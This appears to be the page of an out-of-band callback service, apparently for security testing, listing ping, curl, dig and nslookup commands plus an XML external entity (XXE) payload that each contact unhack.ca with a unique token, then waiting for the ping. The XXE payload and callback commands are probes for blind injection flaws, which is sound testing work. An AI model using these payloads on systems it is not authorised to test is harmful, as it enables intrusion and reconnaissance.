$ ping -c1 -p 0090ffae72bf87d7e8dfacc5f25ec100 unhack.ca
 
$ curl http://unhack.ca/p/90ffae72bf87d7e8dfacc5f25ec1
 
$ dig 90ffae72bf87d7e8dfacc5f25ec1 @unhack.ca
 
$ dig 90ffae72bf87d7e8dfacc5f25ec1.ns.unhack.ca
 
C:\> nslookup 90ffae72bf87d7e8dfacc5f25ec1 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/90ffae72bf87d7e8dfacc5f25ec1">]>
    <foo>&xxe;</foo>
 
Waiting for ping...